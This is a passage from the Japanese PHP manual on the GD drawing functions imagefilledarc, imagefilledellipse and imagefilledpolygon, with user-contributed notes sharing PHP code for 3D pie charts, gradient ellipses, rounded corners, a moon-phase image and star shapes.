          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+230,
          $front);
imageLine($img,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+200,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+230,
          $front);

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>

And this is how it should be...

<?php
$img = imageCreate(400, 400);
$back = imageColorAllocate($img, 0, 0, 0);
$front = imageColorAllocate($img, 255, 255, 255);

$sd = floor(45.5);
$ed = floor(130.5);

imageFilledArc($img, 200, 200, 300, 300, $sd, $ed,
               $front, IMG_ARC_PIE|IMG_ARC_NOFILL|IMG_ARC_EDGED);
imageArc($img, 200, 230, 300, 300, $sd, $ed, $front);

imageLine($img,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+200,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+230,
          $front);
imageLine($img,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+200,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+230,
          $front);

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>
rich at dicksonlife dot com 24-Sep-2004 07:22
Even more efficiency:

The original code snippet and the following suggestions are inefficient in that they rely on the overlying php to fill vertically using loops rather than taking advantage of the underlying drawing routines. Also, this is done by repeatedly drawing filled partial elipses and circular calculations are typically expensive (PHP may use tables, I'm not sure) The original code could be rewritten as

<?php
// Add the bottom layer.
  imagefilledarc($image, 50, 60, 100, 50, 0, 45, $darknavy, IMG_ARC_PIE);
  imagefilledarc($image, 50, 60, 100, 50, 45, 75 , $darkgray, IMG_ARC_PIE);
  imagefilledarc($image, 50, 60, 100, 50, 75, 360 , $darkred, IMG_ARC_PIE);

//Now do the joining pieces.
//Note: Precompute cosines and sines for efficiency
  $c1=50*cos(45/180*M_PI);
  $s1=25*sin(45/180*M_PI);
  $c2=50*cos(75/180*M_PI);
  $s2=25*sin(75/180*M_PI);

  $area1=array(100,60,100,50,50+$c1,50+$s1,50+$c1,60+$s1);
  $area2=array(50+$c1,50+$s1,50+$c1,60+$s1,50+$c2,60+$s2,50+$c2,50+$s2);
//Note that piece 3 goes round the corner. So we are only interested in the leftmost extent. You would need to do this programatically. Also, you do not need to make vertical parts for any segments completely at the back of the pie (in fact, not filledarcs either)
  $area3=array(50+$c2,50+$s2,50+$c2,60+$s2,0,60,0,50);

  imagefilledpolygon($image, $area1 , 4 , $darknavy);
  imagefilledpolygon($image, $area2 , 4 , $darkgray);
  imagefilledpolygon($image, $area3 , 4 , $darkred);

  imagefilledarc($image, 50, 50, 100, 50, 0, 45, $navy, IMG_ARC_PIE);
  imagefilledarc($image, 50, 50, 100, 50, 45, 75 , $gray, IMG_ARC_PIE);
  imagefilledarc($image, 50, 50, 100, 50, 75, 360 , $red, IMG_ARC_PIE);
?>

Note that the polygons are perhaps slightly inefficient. If there was an imagefilledtriangle, this code would be simpler. Given how fundamental triangles are, perhaps for a future version?

Rich
micha _a.t_ psytrance _d.o.t_ info 08-Sep-2004 07:09
for nice colors and adapted shadows from amount of values i try:

<?php
function _errechne_gradzahlen( $werte ) {         /* calc degrees */
    foreach( $werte as $wert ) { $sum += $wert; }
    foreach( $werte as $wert ) { $gradzahlen[] = 360 * ( $wert / $sum ); }
    return $gradzahlen;
}

function _randomcol ( $im ) {
    return imagecolorallocate( $im, rand(100, 224), rand(100, 224), rand(128, 224) );
}

$values = array( 100, 200, 50, 100, 43, 32 );    /* the data to display ( real values ) */
$werte = _errechne_gradzahlen( $values );        /* degrees-array */
$width = 200;
$height = 200;
$half_width = floor( $width / 2 );
$half_height = floor($height / 2);

$im = ImageCreateTrueColor( $width, $height );

foreach( $werte as $key => $wert ) {
    /* get colors and shadows */
    $color = _randomcol( $im );
    $shadow = $color - 20000;                 // or brighter shadows take 10000
    $colors[] = $color;
    $shadows[] = $shadow;
/* 3D effekt */
     for ($i = ($half_height + 10); $i > $half_height; $i--) {
        imagefilledarc(
                    $im,
                    $half_width,  $i,
                    $width, $half_height,
                    $offset, ($offset + $wert),   // from, to (degrees)
                    $shadows[$key], IMG_ARC_NOFILL);
    }
    $offset = $offset + $wert;
}
$offset = 0;

foreach( $werte as $key => $wert ) {             /* an now draw the top */
    imagefilledarc(
                $im,
                $half_width, $half_width,
                $width, $half_height,           // half sized
                $offset, ($offset + $wert),
                $colors[$key], IMG_ARC_PIE);
    $offset = $offset + $wert;
}
header( "Content-type: image/png" );
imagepng ( $im );
imagedestroy( $im );
?>

sry for my crab english and the disordered code, i cut and 'translate' it from a class i wrote before.
poopie 05-Aug-2004 09:08
The examples given so far for drawing a 3D looking pie chart are extremely inefficient and can give a huge performance hit to scripts that draw a lot of pies and in particular those that do offline processing on disk, rather than send a single pie chart to the browser (either way this modification saves you a lot of CPU cycles).

Modify the portion of the code that creates the 3D effect to only draw the outline (with IMG_ARC_NOFILL) of the pie layers below the top filled pie:

// make the 3D effect (modified for the original example)
for ($i = 60; $i >= 50; $i--) {
   imagefilledarc($image, 50, $i, 100, 50, 0, 45, $darknavy, IMG_ARC_NOFILL);
  imagefilledarc($image, 50, $i, 100, 50, 45, 75 , $darkgray, IMG_ARC_NOFILL);
  imagefilledarc($image, 50, $i, 100, 50, 75, 360 , $darkred, IMG_ARC_NOFILL);
}

Note the >= on the for loop, which fills in a gap that is created without the =
hans at lintoo dot dk 17-Jul-2004 12:14
I found some bugs in my script.. and therefore I am posting the fixes:
Bugs:
<?php
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
//Should be
$darkcolor[2] = imagecolorallocate($im, 139, 0, 1);
?>

And then if you modify the code a little and, then make a image 200x125 then you won't be wasting space.
Changes:
<?php
$im  = imagecreate (200, 125);
// AND
for ($i = 60; $i > 50; $i--) {
    imagefilledarc($im, 100, $i, 200, 100, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
}
// AND
       imagefilledarc($im, 100, 50, 200, 100, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
?>
you can see a online demo at: http://webstatistik.lintoo.dk/
hans at lintoo dot dk 16-Jul-2004 03:27
I modificed the code to make a 3d pie from data collected elsewhere.... in this case it was for a statistics page...

when testing you can use:

enjoy

<?php
//Making a image 200 x 200
$im  = imagecreate (200, 200);

//Setting background color
$background = imagecolorallocate($im, 226, 226, 226);

//Setting colors of elements
$randcolor[0] = imagecolorallocate($im, 255, 203, 3);
$randcolor[1] = imagecolorallocate($im, 220, 101, 29);
$randcolor[2] = imagecolorallocate($im, 189, 24, 51);
$randcolor[3] = imagecolorallocate($im, 214, 0, 127);
$randcolor[4] = imagecolorallocate($im, 98, 1, 96);
$randcolor[5] = imagecolorallocate($im, 0, 62, 136);
$randcolor[6] = imagecolorallocate($im, 0, 102, 179);
$randcolor[7] = imagecolorallocate($im, 0, 145, 195);
$randcolor[8] = imagecolorallocate($im, 0, 115, 106);
$randcolor[9] = imagecolorallocate($im, 178, 210, 52);
$randcolor[10] = imagecolorallocate($im, 137, 91, 74);
$randcolor[11] = imagecolorallocate($im, 82, 56, 47);

//Setting the darker alt color to the main color
$darkcolor[0] = imagecolorallocate($im, 205, 153, 0);
$darkcolor[1] = imagecolorallocate($im, 170, 51, 0);
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
$darkcolor[3] = imagecolorallocate($im, 164, 0, 77);
$darkcolor[4] = imagecolorallocate($im, 48, 0, 46);
$darkcolor[5] = imagecolorallocate($im, 0, 12, 86);
$darkcolor[6] = imagecolorallocate($im, 0, 52, 129);
$darkcolor[7] = imagecolorallocate($im, 0, 95, 145);
$darkcolor[8] = imagecolorallocate($im, 0, 65, 56);
$darkcolor[9] = imagecolorallocate($im, 128, 160, 2);
$darkcolor[10] = imagecolorallocate($im, 87, 41, 24);
$darkcolor[11] = imagecolorallocate($im, 32, 6, 0);

//Getting the data from GET
$i = 0;
while ($i <= 11) {
$data[$i] = $_GET[++$i];
}

//Getting ready
$datasum = array_sum($data);
$anglesum[0] = 0;
$angle[0] = 0;
$i = 0;

//Calc the start and end angle position of the elements
while ($i <= 11) {
    ++$i;
    $n = $i - 1;
    $part[$i] = $data[$n] / $datasum;
    $angle[$i] = floor($part[$i] * 360);
    $anglesum[$i] = array_sum($angle);
}

/*
//DEBUGGING - only for testing purposes
echo "<pre>";
print_r($part);
print_r($anglesum);
print_r($angle);
*/

// make the 3D effect
$n = 0;$i=0;
while ($n <= 11) {
    ++$n;
    $f = $n - 1;
    if ($angle[$n] != 0) {
        for ($i = 110; $i > 100; $i--) {
            imagefilledarc($im, 100, $i, 200, 100, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
        }
    }
}

//make the 2d data that sits above the 3deffect
$i = 0;
while ($i <= 11) {
    ++$i;
    $n = $i - 1;
    if ($angle[$i] != 0) {
       imagefilledarc($im, 100, 100, 200, 100, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
    }
}

// flush image
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
caist - www.caist.com 07-Jan-2004 08:11
if you want to place a text onto the edge of a circle you need to
get a point on the circle:

$pos_x=$radius*sin(deg2rad($angle));
$pos_y=sqrt($radius*$radius-$pos_x*$pos_x);

if you want the point to be in the middle of a pie piece
you need a starting and ending angle

$pos_x=$radius*sin(deg2rad($angle_end-($angle_start)/2));
$pos_y=sqrt($radius*$radius-$pos_x*$pos_x);

hope it helps


塗りつぶされた楕円を描画する

  • ≪ imagefilledarc
  • imagefilledpolygon ≫
  • PHP Manual
  • GD および Image 関数
  • 塗りつぶされた楕円を描画する

imagefilledellipse

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagefilledellipse — 塗りつぶされた楕円を描画する

説明

imagefilledellipse ( resource $image , int $cx , int $cy , int $width , int $height , int $color ) : bool

指定した image の指定した座標を中心として楕円を描画します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

cx

中心の x 座標。

cy

中心の y 座標。

width

楕円の幅。

height

楕円の高さ。

color

塗りつぶし色。imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagefilledellipse() の例

<?php

// 空の画像を作成します
$image = imagecreatetruecolor(400, 300);

// 背景色を塗ります
$bg = imagecolorallocate($image, 0, 0, 0);

// 楕円の色を選択します
$col_ellipse = imagecolorallocate($image, 255, 255, 255);

// 白い楕円を描画します
imagefilledellipse($image, 200, 150, 300, 200, $col_ellipse);

// 画像を出力します
header("Content-type: image/png");
imagepng($image);

?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagefilledellipse()

注意

注意:

imagefilledellipse() は imagesetthickness() を無視します。

参考

  • imageellipse() - 楕円を描画する
  • imagefilledarc() - 楕円弧を描画し、塗りつぶす

User Contributed Notes

Mark 07-Dec-2008 05:03
This draws an anti-aliased circle with an optional border. Call with <img src="circle.php?r=50&fg=ff0000&bg=000000&bw=5&bc=ffff00"/> to draw a filled circle with radius=50, foreground color=red, background color=black, border width=5, and border color=yellow. Assumes register_globals is on, but you can fix that easily.

<?php
header('Content-type: image/png');

is_numeric($r) or $r = 8;
is_numeric($bw) or $bw = 0;
strlen($fg)==6 or $fg = 'e8e8e8';
strlen($bg)==6 or $bg = 'ffffff';
strlen($bc)==6 or $bc = '000000';

function hex2rgb($im,$hex) {
    return imagecolorallocate($im,
        hexdec(substr($hex,0,2)),
        hexdec(substr($hex,2,2)),
        hexdec(substr($hex,4,2))
        );
}

$a = $r*2;
$b = $a*4;
$c = $b/2;
$d = $b;
$e = $d-($bw*8);

$im1 = imagecreatetruecolor($b,$b);
$im2 = imagecreatetruecolor($a,$a);
imagefill($im1,0,0,hex2rgb($im1,$bg));
if($bw) imagefilledellipse($im1,$c,$c,$d,$d,hex2rgb($im1,$bc));
imagefilledellipse($im1,$c,$c,$e,$e,hex2rgb($im1,$fg));
imagecopyresampled($im2,$im1,0,0,0,0,$a,$a,$b,$b);
imagepng($im2);
?>
sunbox at gmx dot net 20-Oct-2006 04:15
draws a gradient filled ellipse with alpha color support based on felixbruns at <ANTI-SPAM>web dot de imagegradientellipse function. thx felixbruns :o)

function imagegradientellipsealpha($image, $cx, $cy, $w, $h, $ic, $oc){
       $w = abs($w);
       $h = abs($h);
       $oc = array(0xFF & ($oc >> 0x10), 0xFF & ($oc >> 0x8), 0xFF & $oc);
       $ic = array(0xFF & ($ic >> 0x10), 0xFF & ($ic >> 0x8), 0xFF & $ic);
       $c0 = ($oc[0] - $ic[0]) / $w;
       $c1 = ($oc[1] - $ic[1]) / $w;
       $c2 = ($oc[2] - $ic[2]) / $w;
       $ot = $oc >> 24;
       $it = $ic >> 24;
       $ct = ($ot - $it) / $w;
       $i = 0;
       $j = 0;
       $is = ($w<$h)?($w/$h):1;
       $js = ($h<$w)?($h/$w):1;
       while(1){
           $r = $oc[0] - floor($i * $c0);
           $g = $oc[1] - floor($i * $c1);
           $b = $oc[2] - floor($i * $c2);
           $t = $ot - floor($i * $ct);
           $c = imagecolorallocatealpha($image, $r, $g, $b, $t);
           imageellipse($image, $cx, $cy, $w-$i, $h-$j, $c);
           if($i < $w){
               $i += $is;
           }
           if($j < $h){
               $j += $js;
           }
           if($i >= $w && $j >= $h){
               break;
           }
       }
    }
felixbruns at <ANTI-SPAM>web dot de 27-Aug-2006 05:57
I quickly made a gradient ellipse function (i took some code from other gradient functions). It works like imageellipse or imagefilledellipse but with two color parameters: $ic is the inner color of the gradient ellipse and $oc is the outer color.

<?php

function imagegradientellipse($image, $cx, $cy, $w, $h, $ic, $oc){
    $w = abs($w);
    $h = abs($h);
    $oc = array(0xFF & ($oc >> 0x10), 0xFF & ($oc >> 0x8), 0xFF & $oc);
    $ic = array(0xFF & ($ic >> 0x10), 0xFF & ($ic >> 0x8), 0xFF & $ic);
    $c0 = ($oc[0] - $ic[0]) / $w;
    $c1 = ($oc[1] - $ic[1]) / $w;
    $c2 = ($oc[2] - $ic[2]) / $w;
    $i = 0;
    $j = 0;
    $is = ($w<$h)?($w/$h):1;
    $js = ($h<$w)?($h/$w):1;
    while(1){
        $r = $oc[0] - floor($i * $c0);
        $g = $oc[1] - floor($i * $c1);
        $b = $oc[2] - floor($i * $c2);
        $c = imagecolorallocate($image, $r, $g, $b);
        imagefilledellipse($image, $cx, $cy, $w-$i, $h-$j, $c);
        if($i < $w){
            $i += $is;
        }
        if($j < $h){
            $j += $js;
        }
        if($i >= $w && $j >= $h){
            break;
        }
    }
}

?>
jbr at ya-right dot com 22-Feb-2006 07:33
This is a niffty function that you can use to make transparent ellipse/round type cutouts of any PNG or GIF image. The hard part is finding what color to use for the cutout layer and then the transparent layer, because you don't want to set the transparent index to a color being used in the image. After that it's as simple as layering the two images together.

what you need for the example...

a image of the size you want the cutout to be, gif or png (true color /256) can be used!

<?

$original_image = './image.png';
$output_image = './new.png';
$temp_image = './temp'; // path and name (don't include the extension)
$is_true_color = true;

$ext = substr ( $original_image, strrpos ( $original_image, '.' ) );
$temp_image .= $ext;
$new = image_get ( $ext, $original_image );
$width = imagesx ( $new );
$height = imagesy ( $new );

// we need to create temp reduced image so we can get the colors
// in a high bit true color image (png 16,24 bit only)

if ( $is_true_color )
{
    imagetruecolortopalette ( $new, false, 256 );
    image_make ( $new, $ext, $temp_image );
    imagedestroy ( $new );
    $colors = get_rgb ( $temp_image, $ext );
    @unlink ( $temp_image );
    $new = image_get ( $ext, $original_image );
}
else
{
    $colors = get_rgb ( $original_image, $ext );
}

// this creates the cutout layer (2 colors, both will become transparent)

$old = imagecreate ( $width, $height );
imageantialias( $old, true );
imagecolorallocate ( $old, $colors[0]['red'], $colors[0]['green'], $colors[0]['blue'] );
$bg = imagecolorallocate ( $old, $colors[1]['red'], $colors[1]['green'], $colors[1]['blue'] );
imagefilledellipse ( $old, floor ( $width / 2 ), floor ( $height / 2 ), $width, $height, $bg );
imagecolortransparent ( $old, $bg );
imagecopy ( $new, $old, 0, 0, 0, 0, $width, $height );
image_make ( $new, $ext, $output_image );
imagedestroy ( $old );
imagedestroy ( $new );

// this layers both images together, making a nice ellipse/round transparent image cutout

$old = imagecreate ( $width, $height );
$new = image_get ( $ext, $output_image );
$tbg = imagecolorallocate ( $old, $colors[0]['red'], $colors[0]['green'], $colors[0]['blue'] );
imagecopy ( $old, $new, 0, 0, 0, 0, $width, $height );
imagecolortransparent ( $old, $tbg );
image_make ( $old, $ext, $output_image );
imagedestroy ( $old );
imagedestroy ( $new );

/*
* shortcut functions (1,2)
*/

// returns the called image resource

function image_get ( $ext, $name )
{
    switch ( $ext )
    {
        case '.gif' :
        return ( imagecreatefromgif ( $name ) );
        break;
        case '.png' :
        return ( imagecreatefrompng ( $name ) );
        break;
    }
}

// outputs the image named passed to it

function image_make ( $io, $ext, $name )
{
    switch ( $ext )
    {
        case '.gif' :
        imagegif ( $io, $name );
        break;
        case '.png' :
        imagepng ( $io, $name );
        break;
    }
}

// get (2) colors not found in the current image

function get_rgb ( $image, $ext )
{
    $x = 0;
    $colors = array ();
    $img = image_get ( $ext, $image );

    for ( $color = 10; $color <= 250; $color++ )
    {
        if ( imagecolorexact ( $img, $color, $color, $color ) == -1 )
        {
            $colors[] = array ( 'red' => $color, 'green' => $color, 'blue' => $color );

            if ( $x == 1 )
            {
                imagedestroy ( $img );
                return ( $colors );
            }

            $x++;
        }
    }

    imagedestory ( $img );
    return ( $colors );
}

?>

You can try a demo here (SGML) capture a web page, then make multi cutouts example!

http://www.ya-right.com/
mark at freegeekchicago dot org 11-Oct-2005 10:12
Here is a simple script using imagefilledellipse to created rounded corners on the fly.  It takes color, bg_color, width, height, and placement (i.e. top left, bottom right) as arguments.

<?php
$color = $_REQUEST['color'];
$bg_color = $_REQUEST['bg_color'];

$c_width = $_REQUEST['width'];
$c_height = $_REQUEST['height'];

$placement = $_REQUEST['placement'];

$width = 2 * $c_width;
$height = 2 * $c_height;

// create a blank image
$image = imagecreatetruecolor($c_width, $c_height);

// fill the corner color
$col_ellipse = hex2int($image, $color);

// fill the background color

$bg = hex2int($image, $bg_color);

// fill the background color
imagefill($image, 0, 0, $bg);

// draw the ellipse
//takes (resource image, int cx, int cy, int w, int h, int color)

// bottom right corner
if ($placement == "br") {imagefilledellipse($image, 0, 0, $width, $height, $col_ellipse);}

// top right corner
if ($placement == "tl") {imagefilledellipse($image, $c_width, $c_height, $width, $height, $col_ellipse);}

// top left corner
if ($placement == "tr") {imagefilledellipse($image, 0, $c_height, $width, $height, $col_ellipse);}

// bottom left corner
if ($placement == "bl") {imagefilledellipse($image, $c_width, 0, $width, $height, $col_ellipse);}

// output the picture
header("Content-type: image/png");
imagepng($image);

function hex2int($image, $color) {
  $string = str_replace("#","",$color);
  $red = hexdec(substr($string,0,2));
  $green = hexdec(substr($string,2,2));
  $blue = hexdec(substr($string,4,2));

  $color_int = imagecolorallocate($image, $red, $green, $blue);
  return($color_int);
}
?>

You would call it like so:
<img src="round_test.php?
width=50&height=50&color=fffefe&bg_color=99e1e0&placement=tr">
richard at mf2fm dot co dot uk 09-Feb-2005 02:25
Here is a piece of code using imagefilledellipse which creates a simulation of the current phase of the moon...

Usage is <img src="moon.php?size=100"> which produces an image 100px by 100px wide.  If size is left out, the default is 24px by 24px.

<?php

$mps=2551442.8; // moon phase in seconds (29 days, 12 hours, 44 mins, 2.8 secs)
$position=time()-mktime(10, 32, 0, 1, 25, 2005); // seconds since full moon at 10:32GMT on 25 Jan 2005
$position=($position-$mps*intval($position/$mps))/$mps; // phase from 0 to 1

$position=2*(0.5-$position);
## revised to produce easier to work with...
## $position=1 - full moon
## $position=0 - new moon
## $position=-1 - full moon

$size=$_GET['size'];
if (!is_numeric($size)) $size=24; // width/height in pixels
$moon=imagecreate($size, $size);
$dark=imagecolorallocate($moon, 0, 34, 68); // background colour for moon
$light=imagecolorallocate($moon, 238, 238, 255); // foreground colour for moon
$corona=imagecolorallocatealpha($moon, 153, 153, 153, 64); // edge of moon (semi-transparent)

##
## Make transparent background
##
$background=imagecolorallocatealpha($moon, 0, 0, 0, 127);
imagefill($moon, 0, 0, $background);

##
## Make the moon!
##
imagefilledellipse($moon, round($size/2), round($size/2), $size, $size, $corona);
if ($position>-1/$size AND $position<1/$size) imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $dark); // new moon
elseif (abs($position)>1-1/$size) imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $light); // full moon
elseif ($position>0) {
    imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $light);
    for ($i=0; $i<$size-2; $i++) {
        $xpos=($size-2)/2;
        $xpos=1-($i/$xpos);
        $xpos=sqrt(1-($xpos*$xpos));
        $xpos=($size/2)+($position-0.5)*$xpos*($size-2);
        imagesetpixel($moon, round($xpos), $i+1, $dark);
    }
    for ($i=0; $i<$size; $i++) {
        $set=0;
        for ($j=0; $j<$size; $j++) {
            if (!$set AND imagecolorat($moon, $j, $i)==$dark) $set=1;
            elseif ($set AND imagecolorat($moon, $j, $i)==$light) imagesetpixel($moon, $j, $i, $dark);
        }
    }
}
else {
    imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $dark);
    for ($i=0; $i<$size-2; $i++) {
        $xpos=($size-2)/2;
        $xpos=1-($i/$xpos);
        $xpos=sqrt(1-($xpos*$xpos));
        $xpos=($size/2)+($position+0.5)*$xpos*($size-2);
        imagesetpixel($moon, round($xpos), $i+1, $light);
    }
    for ($i=0; $i<$size; $i++) {
        $set=0;
        for ($j=0; $j<$size; $j++) {
            if (!$set AND imagecolorat($moon, $j, $i)==$light) $set=1;
            elseif ($set AND imagecolorat($moon, $j, $i)==$dark) imagesetpixel($moon, $j, $i, $light);
        }
    }
}

##
## And output the picture
##
header ("Content-Type: image/png");
imagepng($moon);
imagedestroy($moon);
?>
dave at corecommunications dot us 10-Oct-2002 06:56
I needed to draw translucent circles on an existing image, using imagealphablending($image,true);. Turns out that imagefilledellipse seems to do the ellipse by drawing a series of lines from the centroid out to the circumference. Problem with this is that pixels near the center very visibly get drawn multiple times, producing a kind of moire effect. Also, the 0-degree (center to right) line is drawn twice and so is twice as dark the pixel below it.

My workaround was to draw the ellipse solid in a copy of the source image and do an imagecopymerge back into the original.
ivank at 2xtreme dot net 30-Mar-2002 04:31
Sometimes, you have x1, y1, x2, y2 parameters, but not the center, width, and height. Use this to draw a filled ellipse from your x1, y1, x2, and y2:

ImageFilledEllipse(
$im,
($x1 + round(($x2 - $x1) / 2)),
($y1 + round(($y2 - $y1) / 2)),
($x2 - $x1),
($y2 - $y1),
$color);
harry dot wood at ic dot ac dot uk 19-Jun-2001 04:09
This draws a rotated ellipse. If you don't want filled ellipses, then you don't need the triangle function.

function triangle($x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   global $im;
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}

function rotatedellipse($cx, $cy, $width, $height, $rotateangle, $colour, $filled=true) {
   global $im;
   $step=15;
   $cosangle=cos(deg2rad($rotateangle));
   $sinangle=sin(deg2rad($rotateangle));

   $squishratio = $height/$width;
   $nopreviouspoint = true;
   for ($angle=0; $angle<=(180+$step); $angle+=$step) {

      $ox = ($width * cos(deg2rad($angle)));
      $oy = ($width * sin(deg2rad($angle))) * $squishratio;

      $x = ($ox * $cosangle) - ($oy * $sinangle);
      $y = ($ox * $sinangle) + ($oy * $cosangle);

      if ($nopreviouspoint) {
        $px=$x;
        $py=$y;
        $nopreviouspoint=false;
      }

      if ($filled) {
         triangle($cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         triangle($cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
      } else {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
      }
      $px=$x;
      $py=$y;
   }
}


塗りつぶした多角形を描画する

  • ≪ imagefilledellipse
  • imagefilledrectangle ≫
  • PHP Manual
  • GD および Image 関数
  • 塗りつぶした多角形を描画する

imagefilledpolygon

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefilledpolygon — 塗りつぶした多角形を描画する

説明

imagefilledpolygon ( resource $image , array $points , int $num_points , int $color ) : bool

代替のシグネチャ (PHP 8.0.0 以降)

imagefilledpolygon ( resource $image , array $points , int $color ) : bool

imagefilledpolygon() は画像 image 上に塗りつぶした多角形を生成します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

points

多角形の頂点の座標 x および y を含む配列。

num_points

頂点の総数。 3 以上である必要があります。

代替のシグネチャ(PHP 8.0.0 以降) でこの引数が省略された場合、 points は偶数でなければいけません。また、 num_points は count($points)/2 であると仮定されます。
color

imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagefilledpolygon() の例

<?php
// 多角形の点の配列を準備します
$values = array(
            40,  50,  // Point 1 (x, y)
            20,  240, // Point 2 (x, y)
            60,  60,  // Point 3 (x, y)
            240, 20,  // Point 4 (x, y)
            50,  40,  // Point 5 (x, y)
            10,  10   // Point 6 (x, y)
            );

// 画像を生成します
$image = imagecreatetruecolor(250, 250);

// 色を割り当てます
$bg   = imagecolorallocate($image, 0, 0, 0);
$blue = imagecolorallocate($image, 0, 0, 255);

// 背景を塗りつぶします
imagefilledrectangle($image, 0, 0, 249, 249, $bg);

// 多角形を描画します
imagefilledpolygon($image, $values, 6, $blue);

// 画像を出力します
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagefilledpolygon()

参考

  • imagepolygon() - 多角形を描画する

User Contributed Notes

martin at eksperimentrum dot dk 26-Apr-2018 03:06
How to draw a simple 6-sided star img where x,y is center of the star and s is the size:

function drawStar($img, $x, $y, $s, $color) {
    $x=$x-$s/2;
    $y=$y-$s/4;
    $points=array($x,$y, $x+$s/2,$y+$s, $x+$s,$y);
    imagefilledpolygon($img, $points, 3, $color);
    $points=array($x,2/3*$s+$y, $x+$s/2,$y-$s/3, $x+$s,2/3*$s+$y);
    imagefilledpolygon($img, $points, 3, $color);
}
Steween 29-Jul-2017 09:51
My version of drawStar (with examples)

<?php
header ("Content-type: image/png");

/* drawStar or regular polygon
    $x, $y  -> Position in the image
    $radius -> Radius of the star
    $spikes -> Number of spikes (min 2)
    $ratio  -> Ratio between outer and inner points
    $dir    -> Rotation 270° for having an up spike( with ratio<1)
*/
function drawStar($x, $y, $radius, $spikes=5, $ratio=0.5, $dir=270) {
    $coordinates = array();
    $angle = 360 / $spikes ;
    for($i=0; $i<$spikes; $i++){
        $coordinates[] = $x + (       $radius * cos(deg2rad($dir+$angle*$i)));
        $coordinates[] = $y + (       $radius * sin(deg2rad($dir+$angle*$i)));
        $coordinates[] = $x + ($ratio*$radius * cos(deg2rad($dir+$angle*$i + $angle/2)));
        $coordinates[] = $y + ($ratio*$radius * sin(deg2rad($dir+$angle*$i + $angle/2)));
    }
    return $coordinates ;
}

// 14*20+24*2 = 328 Examples
$im = imagecreate(800,600);
     imagecolorallocate($im,   0,   0,   0);
$w = imagecolorallocate($im, 255, 255, 255);
$r = imagecolorallocate($im, 255,   0,   0);
for ($spikes=2; $spikes<16; $spikes++) { //[2-15]
    for ($ratio=1; $ratio<21; $ratio++) { //[0.1-2.0]
        $values = drawStar(40*$ratio-20, $spikes*40-60, 10, $spikes, $ratio/10);
        imagefilledpolygon($im, $values, count($values)/2, ($ratio % 5 == 0) ? $r : $w);
    }
}
for ($dir=0; $dir<24; $dir++) {
    $values = drawStar(30*$dir+20, 580, 10, 2, 1.5, $dir*15);
    imagefilledpolygon($im, $values, count($values)/2, $w);
    $values = drawStar(30*$dir+20, 580, 10, 2, 0.2, $dir*15);
    imagefilledpolygon($im, $values, count($values)/2, $r);
}
imagepng($im);
imagedestroy($im);
?>
rbenheidorn at gmail dot com 01-Feb-2015 09:20
Discovered while working on printing geographical boundaries to an image: if you provide floating point vertices, then the decimal value is automatically truncated. This can cause images drawn with floating point vertices to shift slightly towards the top-left corner. My personal resolution is to round all of the vertices to their nearest whole values, which eliminates this shift.
austinoblouk at yahoo dot com 05-Sep-2009 08:28
Actually the minimum it allows is 3. It says "Total number of vertices, which must be bigger than 3." but it allows 3...
Arnapou 29-Oct-2007 06:49
I discovered that the GD imagefilledpolygon function is incorrect for some drawing with transparent color (for example red 50% : RGBA = 255, 0, 0, 64).

I tried to draw a complex form with lots of points really near (1 pixel of distance) and a transparent red.

The problem was : some border pixels were not drawn by the imagefilledpolygon but were drawn with imagepolygon !?!?

So I wrote my own imagefilledpolygon function which work very well in all case I tested.

<?php
// $points should be an array of coordinates like that :
$points = array(
    array(0, 0),
    array(100, 50),
    array(90, 100),
    array(50, 50),
    array(70, 30),
    array(10, 10),
);
?>

<?php
function myimagefilledpolygon(& $img, $points, $color) {
    $scanline = 99999;
    // compute edges
    $all_edges = array();
    $n = count($points);
    for($i=0; $i<$n; $i++) {
        $p1 = $points[$i];
        if ($i == $n-1) { $p2 = $points[0]; } else { $p2 = $points[$i+1]; }
        $x1 = $p1[0]; $y1 = $p1[1];
        $x2 = $p2[0]; $y2 = $p2[1];
        if ($y1 != $y2) {
            $invslope = ($x2 - $x1)/($y2 - $y1);
            if ($y1 < $y2 ) {
                $ymin = $y1;
                $xval = $x1;
                $ymax = $y2;
            } else {
                $ymin = $y2;
                $xval = $x2;
                $ymax = $y1;
            }
            $all_edges[] = array($ymin, $ymax, $xval, $invslope);
            if ($ymin < $scanline) { $scanline = $ymin; }
        } else {
            if ($y1 < $scanline) { $scanline = $y1; }
